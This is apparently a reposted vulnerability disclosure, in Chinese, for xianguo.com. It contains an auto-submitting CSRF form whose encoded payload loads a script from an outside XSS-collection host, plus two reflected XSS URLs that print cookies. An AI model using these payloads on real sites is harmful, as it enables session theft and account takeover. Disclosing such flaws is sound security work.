网站地图    收藏   

子栏目

主页 > 后端 > 网站安全 >

鲜果网通过CSRF种植XSS 外带几个反射性(含修复)

来源：自学PHP网    时间：2015-04-17 11:59 作者： 阅读:次

[导读] 问题出在订阅管理上，很明显的用UNICODE后的代码新建一个目录就OK了~~可惜位置就是不太明显，就看怎么利用了。。于是就想到了组合CSRF进行植入XSS代码。于是乎，见漏洞证明。-------...

问题出在订阅管理上，很明显的用UNICODE后的代码新建一个目录就OK了~~
 
可惜位置就是不太明显，就看怎么利用了。。
 
于是就想到了组合CSRF进行植入XSS代码。
 
于是乎，见漏洞证明。
 
--------------------
大概想到的利用方法：
用户访问挂马页
|
CSRF新建一个XSS目录
|
JS重定向到http://xianguo.com/my/feeds 触发
 
（貌似我没找到删除这个目录的地方，你怎么看）
 
xianguo.html
<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://xianguo.com/rssreader?method=Actor.addFolder" method="post">
<input type="text" name="params" value="&#123;&#34;&#102;&#111;&#108;&#100;&#101;&#114;&#78;&#97;&#109;&#101;&#34;&#58;&#34;&#92;&#117;&#48;&#48;&#50;&#50;&#92;&#117;&#48;&#48;&#51;&#69;&#92;&#117;&#48;&#48;&#51;&#67;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#54;&#57;&#92;&#117;&#48;&#48;&#55;&#48;&#92;&#117;&#48;&#48;&#55;&#52;&#92;&#117;&#48;&#48;&#50;&#48;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#51;&#68;&#92;&#117;&#48;&#48;&#54;&#56;&#92;&#117;&#48;&#48;&#55;&#52;&#92;&#117;&#48;&#48;&#55;&#52;&#92;&#117;&#48;&#48;&#55;&#48;&#92;&#117;&#48;&#48;&#51;&#65;&#92;&#117;&#48;&#48;&#50;&#102;&#92;&#117;&#48;&#48;&#50;&#102;&#92;&#117;&#48;&#48;&#55;&#56;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#54;&#53;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#50;&#101;&#92;&#117;&#48;&#48;&#54;&#100;&#92;&#117;&#48;&#48;&#54;&#53;&#92;&#117;&#48;&#48;&#50;&#102;&#92;&#117;&#48;&#48;&#53;&#56;&#92;&#117;&#48;&#48;&#53;&#56;&#92;&#117;&#48;&#48;&#52;&#54;&#92;&#117;&#48;&#48;&#53;&#52;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#52;&#101;&#92;&#117;&#48;&#48;&#51;&#69;&#92;&#117;&#48;&#48;&#51;&#67;&#92;&#117;&#48;&#48;&#50;&#102;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#54;&#57;&#92;&#117;&#48;&#48;&#55;&#48;&#92;&#117;&#48;&#48;&#55;&#52;&#92;&#117;&#48;&#48;&#51;&#69;&#34;&#125;" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
 
 

 
两个反射，很疑惑为什么你们没有扫出来？
http://xianguo.com/search?searchType=all&keyword=88952634 keyword=88952634 "><script>alert(document.cookie);</script>
 
http://xianguo.com/passport/widget-login?rurl=%2Fservice%2Fsubmitfav%2F%3Flink%3Dhttp%253A%252F%252Fblog.xianguo.com%252F2008%252F02%252F25%252F0220-talk-about-rss-115.html%26title%3D%25E9%25B2%259C%25E6%259E%259C%25E6%2597%25A5%25E5%25BF%2597%2520%25C2%25BB%2520Blog%2520%25E5%25AD%2598%25E6%25A1%25A3%2520%25C2%25BB%2520%25E9%25B2%259C%25E6%259E%259C%25E5%2588%259B%25E5%25A7%258B%25E4%25BA%25BA%25E8%25B0%2588RSS%25E7%259A%2584%25E5%258F%2591%25E5%25B1%2595%2520link%3Dhttp%253A%252F%252Fblog.xianguo.com%252F2008%252F02%252F25%252F0220-talk-about-rss-115.html "><script>alert(document.cookie);</script>

修复方案：
过滤等

最新评论

    加载更多~~

    添加评论

    更多文章推荐

    自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习

    京ICP备14009008号-1@版权所有www.zixuephp.com

    网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com

    添加评论